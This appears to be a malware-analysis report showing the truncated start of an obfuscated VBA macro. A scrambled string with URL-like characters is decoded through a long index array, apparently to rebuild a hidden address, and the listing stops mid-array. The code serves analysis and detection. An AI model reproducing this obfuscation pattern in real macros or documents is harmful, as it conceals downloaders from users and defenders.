Dim MIZuPSJl As String
Dim Fj As String
Dim NjdDu(119) As Long
Dim tHIUSYmF As Long
tHIUSYmF = 43
Fj = "p/LMGzfGwTk/jYBhXsXtDtjCpHtPWhaZiomIrXsRxjwMTBChMhfjKsJyoOwtfspVTkwvCfjKQHlKtNsTuXupKNYbkLM/nOkEaetVvtUHDvdWslkaI2vzPowrjKzTxCgnGdsncdoGzjwndleHPgHOujcCdLADoXuyWeUuTZosjlQwuu/.Y:QLYkbIrktFEQpMrZEbTIpKMeTZHghXTVSltOoWLm5RAsqJtABZXUxIvvqpuin/hMQshjfbqWAc.tWQtOIziJwraoDEitJWMnfh"
NjdDu(0) = 16
NjdDu(1) = 20
NjdDu(2) = 20
NjdDu(3) = 1
NjdDu(4) = 178
NjdDu(5) = 2
NjdDu(6) = 2
NjdDu(7) = 7
NjdDu(8) = 34
NjdDu(9) = 41
NjdDu(10) = 219
NjdDu(11) = 176
NjdDu(12) = 20
NjdDu(13) = 33
NjdDu(14) = 35
NjdDu(15) = 33
NjdDu(16) = 31
NjdDu(17) = 18
NjdDu(18) = 20
NjdDu(19) = 11
NjdDu(20) = 34
NjdDu(21) = 176
NjdDu(22) = 1
NjdDu(23) = 75
NjdDu(24) = 2
NjdDu(25) = 9
NjdDu(26) = 34
NjdDu(27) = 37
NjdDu(28) = 107
NjdDu(29) = 1
NjdDu(30) = 37
NjdDu(31) = 98
NjdDu(32) = 18
NjdDu(33) = 18
NjdDu(34) = 2
NjdDu(35) = 114
NjdDu(36) = 6
NjdDu(37) = 37
NjdDu(38) = 3
NjdDu(39) = 6
NjdDu(40) = 155
NjdDu(41) = 64
NjdDu(42) = 2
NjdDu(43) = 204
NjdDu(44) = 256
NjdDu(45) = 83
NjdDu(46) = 68
NjdDu(47) = 233
NjdDu(48) = 173
NjdDu(49) = 24
NjdDu(50) = 78
NjdDu(51) = 110
NjdDu(52) = 52
NjdDu(53) = 77
NjdDu(54) = 271
NjdDu(55) = 264
NjdDu(56) = 207
NjdDu(57) = 163
NjdDu(58) = 186
NjdDu(59) = 143
NjdDu(60) = 164
NjdDu(61) = 51
NjdDu(62) = 263
NjdDu(63) = 214
NjdDu(64) = 267
NjdDu(65) = 142
NjdDu(66) = 23
NjdDu(67) = 55
NjdDu(68) = 194
NjdDu(69) = 100
NjdDu(70) = 181
NjdDu(71) = 28
NjdDu(72) = 84
…

Open this report in the interactive analyzer, or submit your own file for analysis.